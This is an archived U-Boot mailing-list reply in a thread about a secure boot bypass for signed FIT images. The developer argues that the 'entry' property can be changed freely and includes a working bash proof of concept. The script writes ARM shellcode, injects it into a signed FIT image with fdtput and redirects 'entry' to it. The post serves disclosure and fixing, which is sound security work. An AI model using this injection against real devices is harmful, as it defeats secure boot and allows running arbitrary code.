public inbox for u-boot@lists.denx.de
 help / color / mirror / Atom feed
From: Rasmus Villemoes <ravi@prevas.dk>
To: Tom Rini <trini@konsulko.com>
Cc: u-boot@lists.denx.de
Subject: Re: [PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images
Date: Thu, 05 Mar 2026 15:48:52 +0100	[thread overview]
Message-ID: <87h5quqqln.fsf@prevas.dk> (raw)
In-Reply-To: <20260302220937.3682128-1-trini@konsulko.com> (Tom Rini's message of "Mon, 2 Mar 2026 16:09:37 -0600")

On Mon, Mar 02 2026, Tom Rini <trini@konsulko.com> wrote:

> There is a flaw in how U-Boot verifies and generates signatures for FIT
> images. To prevent mix and match style attacks, it is recommended to
> use signed configurations. How this is supposed to work is documented in
> doc/usage/fit/signature.rst.

So the issue at hand is of course bad enough.

But can we please stop pretending that "mix and match" attacks are a
problem with the reguired=image mode, at least compared to the giant
hole which is that the 'entry' property can be modified arbitrarily [1],
including to point at a payload injected to the FIT image itself?

IMO, we should nuke all the code which deals with the required=image
mode and make it a build-time error to have such a key in the control
dtb, it offers no protection at all, and by having all the verification
logic duplicated in _image and _conf versions, it just makes it harder
to spot problems with the verification code in general.

[1] I just did a POC on a beagleboneblack. Add a

int poc_func(int arg) { printf("Got %x news ...\n"); }

function to the U-Boot source code, add a dummy call poc_func(0)
somewhere so it doesn't get gc'ed, then use something like this to
modify a FIT image with signed image nodes. bootm will happily accept
it, and jump to the thunk embedded in the FIT, which in turn will (for
demonstration) call that poc_func and you'll see "Got bad news ..."
printed.

===
#!/bin/bash

FIT_IMAGE=kernel.itb
FIT_KERNEL_PATH=/images/kernel-1
FIT_LOAD_ADDR=0x82000000

# This is only needed because we want to call back into U-Boot for
# demonstration, in practice one would make the payload
# self-contained.
RELOC_OFFSET=0x1f76d000

# Find the address of poc_func function
build_addr=$(nm ../u-boot | grep -w poc_func | awk '{print $1}')

printf -v addr '%08x' $((0x${build_addr} + ${RELOC_OFFSET}))
echo "poc_func post-relocation address: ${addr}"

{
    # movw    r0, #2989       @ 0xbad
    printf '%b' '\x40\xf6\xad\x30'
    # ldr     r3, [pc, #0]
    printf '%b' '\x00\x4b'
    # bx      r3
    printf '%b' '\x18\x47'
    # The constant loaded above
    printf '%b' "\x${addr:6:2}\x${addr:4:2}\x${addr:2:2}\x${addr:0:2}"
    # Add a marker that will help us locate the byte offset in the FIT image of the thunk.
    printf '##exploit code##'
} > code.bin

fdtput -t bx -p "${FIT_IMAGE}" / poc $(xxd -i < code.bin | tr -d ,)
offset=$(grep -a -o --byte-offset '##exploit code##' "${FIT_IMAGE}" | cut -f1 -d:)

# Change the 'entry' property of the kernel image so that it points to the start of our
# payload. That is 12 bytes long, so subtract 11 (because thumb
# mode...). Adjust as necessary.
fdtput -t u "${FIT_IMAGE}" "${FIT_KERNEL_PATH}" entry $((FIT_LOAD_ADDR + offset - 11))

===

Adding a sanity check that 'entry' points somewhere within [$load,
$load+size] could make this harder, but is not enough; there are likely
to be byte sequences in the kernel image that decode as some useful jump
instruction.

Rasmus

  parent reply	other threads:[~2026-03-05 14:49 UTC|newest]

Thread overview: 14+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-03-02 22:09 [PATCH] FIT: Address Secure Boot Bypass for Signed FIT Images Tom Rini
2026-03-03  8:08 ` Ahmad Fatoum
2026-03-03 13:32   ` Simon Glass
2026-03-03 15:54     ` Tom Rini
2026-03-03 15:53   ` Tom Rini
2026-03-04  9:22     ` Nussel, Ludwig
2026-03-04 12:04       ` Simon Glass
2026-03-05 18:25         ` Quentin Schulz
2026-03-04  7:31 ` Sascha Hauer
2026-03-04 14:47   ` Tom Rini
2026-03-04 16:33   ` Quentin Schulz
2026-03-05  8:32     ` Sascha Hauer
2026-03-05 14:48 ` Rasmus Villemoes [this message]
2026-03-05 18:07 ` Tom Rini

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=87h5quqqln.fsf@prevas.dk \
    --to=ravi@prevas.dk \
    --cc=trini@konsulko.com \
    --cc=u-boot@lists.denx.de \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox